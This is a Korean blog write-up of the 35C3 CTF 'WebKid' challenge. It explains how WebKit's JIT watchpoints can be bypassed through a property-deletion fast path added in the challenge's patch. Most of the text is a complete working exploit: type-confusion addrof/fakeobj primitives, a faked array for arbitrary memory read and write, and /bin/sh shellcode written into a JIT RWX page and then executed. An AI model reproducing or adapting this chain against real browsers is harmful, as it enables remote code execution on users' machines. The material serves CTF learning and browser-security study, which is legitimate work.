35c3ctf Webkid ( Watchpoint exploit )
Webkit 은 JIT 코드를 생성할 때 Check 구문을 넣는 대신에 Watchpoint 를 만든다.
예를 들어
arr = [1.1,2.2];
function GetArr() {
return arr[0];
}
for(var i=0; i < 100000; i++){
GetArr();
}
arr[0] = {};
GetArr();
GetArr
를 많은 횟수 호출하면서 GetArr
에 대한 JIT코드를 생성하게 된다.
Type confusion
방지를 위해 , V8 같은경우 TurboFan이 JIT코드 상에서 arr
에 참고하기전 타입를 체크하는 구문을 추가한다.
Webkit은 V8와 다르게 JIT코드 상에서 arr의 타입을 체크하는 구문을 추가하지 않는다.
하지만 Watchpoint
라는 기능이 있다.
Watchpoint
는 단어 그대로 계속 감시하는(?) 그런 기능라고 생각하면 쉬울 것 같다. 변화가 생길시에 기존에 있던 JIT코드를 버리고 새로운 JIT코드를 생성한다
Watchpoint
를 넣는 경우는 이런 종류가 있다.
- Structure의 변화
- 예측하는 값 혹은 타입
- etc…
위 코드로 설명하자면 , 전에 말했다시피 반복문을 통해 JIT코드가 생성된 상황이다. Watchpoint
는 여기서 arr의 Structure (double_array) 이다.
하지만 arr[0] = {};
를 실행하면서 arr의 Structure가 변경이 되었기 때문에 Watchpoint
는 이를 감지하고 JIT코드를 재생성하게 된다. 그리고 GetArr();
는 그 변경된 코드를 실행하게 된다.
35c3 CTF WebKid
diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp
index 20fcd4032ce..a75e4ef47ba 100644
--- a/Source/JavaScriptCore/runtime/JSObject.cpp
+++ b/Source/JavaScriptCore/runtime/JSObject.cpp
@@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper
return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot);
}
+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset)
+{
+ ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
+
+ Structure* previous = structure->previousID();
+ if (!previous)
+ return false;
+
+ unsigned unused;
+ bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
+ if (!isLastAddedProperty)
+ return false;
+
+ RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
+
+ if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
+ ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
+ thisObject->setButterfly(vm, nullptr);
+ }
+
+ thisObject->setStructure(vm, previous);
+
+ return true;
+}
+
// ECMA 8.6.2.5
bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName)
{
@@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper
Structure* structure = thisObject->structure(vm);
- bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
+ PropertyOffset offset = structure->get(vm, propertyName, attributes);
+ bool propertyIsPresent = isValidOffset(offset);
if (propertyIsPresent) {
if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable)
return false;
- PropertyOffset offset;
- if (structure->isUncacheableDictionary())
+ if (structure->isUncacheableDictionary()) {
offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
- else
- thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+ } else {
+ if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
+ thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
+ }
+ }
- if (offset != invalidOffset)
+ if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
thisObject->locationForOffset(offset)->clear();
}
diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
index 536481ecd6a..62189fea227 100644
--- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
+++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in
@@ -25,6 +25,12 @@
(deny default (with partial-symbolication))
(allow system-audit file-read-metadata)
+(allow file-read* (literal "/flag1"))
+
+(allow mach-lookup (global-name "net.saelo.shelld"))
+(allow mach-lookup (global-name "net.saelo.capsd"))
+(allow mach-lookup (global-name "net.saelo.capsd.xpc"))
+
#if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300
(import "system.sb")
#else
tryDeletePropertyQuickly
를 간단히 요약하자면
삭제하려는 Property
가 마지막으로 추가된 것이면 추가 하기전 Structure
를 가져와서 적용하는 것이다.
취약점은 thisObject->setStructure(vm, previous);
이 부분에서 발생하게 된다.
단순히 setStructure
만으로는 Watchpoint
를 트리거 할 수 없기 때문이다.
let obj = [1.1,2.2];
obj.x = 1.1;
function getOBJ(){
return obj[0];
}
function setOBJ(value){
obj[0] = value;
return obj[0];
}
//make JIT
for(var i = 0; i < 100000; i++){
getOBJ();
setOBJ(1.1);
}
delete obj.x;
obj[0] = {};
print(getOBJ());
1 – obj
를 초기화를 한다.
3 – obj
에 x
의 out-of-line
property 를 만든다.
15 ~ 18 – getOBJ , setOBJ의 JIT코드를 만든다 (추후에 Type confusion을 이용하기 위해). 현재 Watchpoint
는 obj
의 x
property가 들어있는 structure가 된다.
20 – delete obj.x
를 통해 현재 obj
의 structure는 property를 추가하기 전 상태로 돌아왔다. 하지만 obj
의 structure는 변경 되었지만 Watchpoint
는 아직 property를 추가 한 후를 가르키고 있으므로 현재 obj
의 structure를 검사하지 못한다. 아무리 현재 obj
의 structrure의 형태를 바꿔도 Watchpoint
는 검사하지 못하여 , 생성된 JIT 코드를 그대로 납둔다.
즉, Type confusion
이 나는 것이다.
22 ~ 24 – arr
첫번 째에 object를 넣어주고 getOBJ
를 호출하면 JIT 코드가 돌때 double array
로 처리하여 object의 주소가 Leak된다.
f64 = new Float64Array(1);
u32 = new Uint32Array(f64.buffer);
function d2u(value) {
f64[0] = value;
return [u32[0],u32[1]];
}
function u2d(lo,hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function hex(tmp) {
value = tmp[1] * 0x100000000 + tmp[0];
return "0x" + value.toString(16);
}
const ITERATIONS = 100000;
function jitCompile(f, ...args) {
for (var i = 0; i < ITERATIONS; i++) {
f(...args);
}
}
jitCompile(function dummy() { return 42; });
function makeJITCompiledFunction() {
// Some code that can be overwritten by the shellcode.
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return "ffff";
}
}
return "tttt";
}
jitCompile(target, 123);
return target;
}
let obj = [1.1,2.2];
obj.x = 1.1;
function getOBJ(){
return obj[0];
}
function setOBJ(value){
obj[0] = value;
return obj[0];
}
function addrof(tmp) {
obj[0] = tmp;
return d2u(getOBJ());
}
function fakeobj(lo,hi) {
setOBJ(u2d(lo,hi));
return obj[0];
}
//make JIT
for(var i = 0; i < 100000; i++){
getOBJ();
setOBJ(1.1);
}
delete obj.x;
//for structureID
let structs = [];
for (let i = 0; i < 0x1000; i++) {
var array = [1.1];
array.value = u2d(0xdeadbeef,0xdeadbeef);
structs.push(array);
}
let victim = structs[0x30];
let container = {
cell : u2d(0x1000, 0x01082007 - 0x10000) ,
butterfly : victim
};
/*
0x1049c4380: 0x010016000000113f 0x0000000000000000
0x1049c4390: 0x0108200700001000 0x00000001049ac9a0
0x1049c43a0: 0x0000000000000000 0x0000000000000000
*/
containerAddr = addrof(container);
fake_double_array = fakeobj(containerAddr[0]+0x10,containerAddr[1]);
print("container : " + hex(containerAddr));
function read8(lo,hi) {
fake_double_array[1] = u2d(lo+0x10,hi);
return addrof(victim.value);
}
function write4(addr,value) {
fake_double_array[1] = u2d(addr[0]+0x10,addr[1]);
victim.value = u2d(value,0);
}
let target = makeJITCompiledFunction();
let jitFunc = addrof(target);
jitFuncContentAddr = read8(jitFunc[0]+0x18,jitFunc[1]);
rwx = read8(jitFuncContentAddr[0]+0x28,jitFuncContentAddr[1]);
print("rwx : " + hex(rwx));
let shellcode = [0x101b848,0x1010101,0x48500101,0x68632eb8,0x69722e6f,0x4314801,0xe7894824,0x3bc0c748,0x48020000,0xc6c7,0xc7480000,0xc2,0x50f00];
/*
push "/bin/sh"
mov rdi , rsp
mov rax , 0x200003b
mov rsi , 0
mov rdx , 0
syscall
*/
for(let i = 0; i < shellcode.length; i++){
write4([rwx[0]+i*4,rwx[1]],shellcode[i]);
}
target();
References
https://docs.ioin.in/writeup/www.auxy.xyz/_tutorial_Webkit_Exp_Tutorial_/index.html
https://github.com/LinusHenze/35C3_Writeups/tree/master/WebKid
https://lordofpwn.kr/35c3ctf-webkid-exploit/
이제 js exploit은 가끔씩 재미삼아 하고 버그 바운티 타겟 정해서 분석해야겠다
:p
November 15, 2020 at 5:22 am멋있으십니다 ,,